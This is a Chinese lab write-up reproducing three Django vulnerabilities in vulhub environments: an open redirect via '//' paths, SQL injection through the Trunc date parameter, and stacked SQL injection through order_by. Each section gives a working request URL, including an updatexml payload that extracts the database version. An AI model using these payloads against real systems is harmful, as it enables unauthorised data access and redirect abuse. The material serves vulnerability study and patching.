Django系列所有漏洞复现vulhubCVE-2018-14574,CVE-2022-34265,CVE-2021-35042

文章目录

  • Django < 2.0.8 任意URL跳转漏洞(CVE-2018-14574)
    • 漏洞详情:
    • 复现:
  • Django Trunc(kind) and Extract(lookup_name) SQL注入漏洞(CVE-2022-34265)
    • 漏洞详情:
    • 复现:
  • Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)
    • 漏洞详情:
    • 复现:
  • 结束:


Django < 2.0.8 任意URL跳转漏洞(CVE-2018-14574)

漏洞详情:

Django默认配置下,如果匹配上的URL路由中最后一位是/,而用户访问的时候没加/,Django默认会跳转到带/的请求中。(由配置项中的django.middleware.common.CommonMiddleware、APPEND_SLASH来决定)。

在path开头为//example.com的情况下,Django没做处理,导致浏览器认为目的地址是绝对路径,最终造成任意URL跳转漏洞。

该漏洞利用条件是目标URLCONF中存在能匹配上//example.com的规则。

复现:

访问http://your-ip:8000//www.example.com,即可返回是301跳转到//www.example.com/:
Django系列所有漏洞复现vulhubCVE-2018-14574,CVE-2022-34265,CVE-2021-35042_第1张图片

Django Trunc(kind) and Extract(lookup_name) SQL注入漏洞(CVE-2022-34265)

漏洞详情:

Django在2022年7月4日发布了安全更新,修复了在数据库函数Trunc()和Extract()中存在的SQL注入漏洞。

复现:

环境启动后,你可以在http://your-ip:8000看到一个页面。这个页面使用了Trunc函数来聚合页面点击数量,比如使用http://your-ip:8000/?date=minute即可看到按照分钟聚合的点击量:
在这里插入图片描述
修改date参数即可复现SQL注入漏洞:

http://your-ip:8000/?date=xxxx'xxxx

Django系列所有漏洞复现vulhubCVE-2018-14574,CVE-2022-34265,CVE-2021-35042_第2张图片

Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)

漏洞详情:

Django在2021年7月1日发布了一个安全更新,修复了在QuerySet底下的order_by函数中存在的SQL注入漏洞

参考链接:

https://www.djangoproject.com/weblog/2021/jul/01/security-releases/

复现:

环境启动后,访问http://your-ip:8000即可看到Django默认首页。
访问页面http://your-ip:8000/vuln/,在GET参数中构造order=-id,会得到根据id降序排列的结果:

http://your-ip:8000/vuln/?order=-id
Django系列所有漏洞复现vulhubCVE-2018-14574,CVE-2022-34265,CVE-2021-35042_第3张图片
再构造GET参数order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23提交,其中vuln_collection是vuln应用下的模型Collection

http://your-ip:8000/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23

成功注入SQL语句,利用堆叠注入获得信息:
Django系列所有漏洞复现vulhubCVE-2018-14574,CVE-2022-34265,CVE-2021-35042_第4张图片

结束:

Django系列所有漏洞复现vulhubCVE-2018-14574,CVE-2022-34265,CVE-2021-35042_第5张图片

你可能感兴趣的:(网络安全,django,python,后端)